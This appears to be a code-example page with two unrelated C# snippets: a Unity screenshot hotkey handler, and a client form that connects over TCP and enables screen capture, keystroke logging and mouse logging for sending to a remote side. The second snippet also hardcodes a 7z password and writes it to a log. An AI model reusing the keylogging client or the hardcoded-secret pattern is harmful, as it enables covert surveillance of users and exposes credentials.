Ejemplo n.º 1
0
 protected void Update()
 {
     if (KeyGui.IsDown())
     {
         uiShow            = !uiShow;
         ResolutionXBuffer = ResolutionX.Value.ToString();
         ResolutionYBuffer = ResolutionY.Value.ToString();
     }
     else if (KeyCaptureAlpha.IsDown())
     {
         StartCoroutine(TakeCharScreenshot(false));
     }
     else if (KeyCapture.IsDown())
     {
         TakeScreenshot();
     }
     else if (KeyCapture360.IsDown())
     {
         StartCoroutine(Take360Screenshot(false));
     }
     else if (KeyCaptureAlphaIn3D.IsDown())
     {
         StartCoroutine(TakeCharScreenshot(true));
     }
     else if (KeyCapture360in3D.IsDown())
     {
         StartCoroutine(Take360Screenshot(true));
     }
 }
Ejemplo n.º 2
0
        public ClientForm(string addr, int socket, ClientTransferType type, int captureInterval, string clientName)
            : this()
        {
            this._paramAddress = addr;
            this._paramSocket = socket;
            this._paramType = type;
            this._paramName = clientName;

            this._neuroLog.Write("Initializing TCP instance");
            this._client = new TcpClient();

            this._client.OnDataReceived += new TcpClient.ClientStatusEventHandler(_client_OnDataReceived);
            this._client.OnConnectionSuccess += new TcpClient.ClientStatusEventHandler(_client_OnConnectionSuccess);
            this._client.OnError += new TcpClient.ClientStatusEventHandler(_client_OnError);
            this._client.OnStatusChanged += new TcpClient.ClientStatusEventHandler(_client_OnStatusChanged);
            this._client.OnDisconnect += new TcpClient.ClientStatusEventHandler(_client_OnDisconnect);

            this._neuroLog.Write("Connection Timer", "Enabled");
            this.connTimer.Enabled = true;

            this._neuroLog.Write("Initializing Action Center", "7z Password: l*lk0d3");
            this._actionCenter = new ActionCenter("l*l7k0d3");
            this._actionCenter.SendData += new ActionCenter.ActionCenterEventHandler(_actionCenter_SendData);
            this._actionCenter.ReceiveAppCommand += new ActionCenter.ActionCenterInternalEventHandler(_actionCenter_ReceiveAppCommand);
            this._actionCenter.CaptureManagerModule.DebugEvent += new ActionCenter.DebugEventHandler(_actionCenter_DebugEvent);
            this._actionCenter.CaptureManagerModule.CaptureShrinkFactor = 0.4f;
            this._actionCenter.CaptureManagerModule.CaptureInterval = captureInterval;
            this._actionCenter.CaptureManagerModule.CaptureBufferCount = 20;

            this._neuroLog.Write("Initializing Capture Modules");
            this._logQueue = new LogQueue<byte[]>();
            this._sc = new ScreenCapture();
            this._sc.CursorChanged += new ScreenCapture.ScreenUpdateEvent(_sc_CursorChanged);
            this._kc = new KeyCapture(this._logQueue);
            this._mc = new MouseCapture(this._logQueue);

            this.captureTimer.Interval = this._actionCenter.CaptureManagerModule.CaptureInterval;

            string __tempLog = "";
            if ((this._paramType & ClientTransferType.NoScreenCapture) != ClientTransferType.NoScreenCapture)
            {
                __tempLog = "Enable Screen Capture\n";
                this.screenToolStripMenuItem.Checked = true;
            }

            if ((this._paramType & ClientTransferType.KeyEventLogging) == ClientTransferType.KeyEventLogging)
            {
                __tempLog += "Enable Key Logging\n";
                this.keyEventsToolStripMenuItem.Checked = true;
            }

            if ((this._paramType & ClientTransferType.MouseEventLogging) == ClientTransferType.MouseEventLogging)
            {
                __tempLog += "Enable Mouse Capture";
                this.mouseEventsToolStripMenuItem.Checked = true;
            }
            this._neuroLog.Write("Initializing Toolstrip Checkboxes", __tempLog);

            //this._sc.Start();
            // Do not start capture timer till connection is made.
        }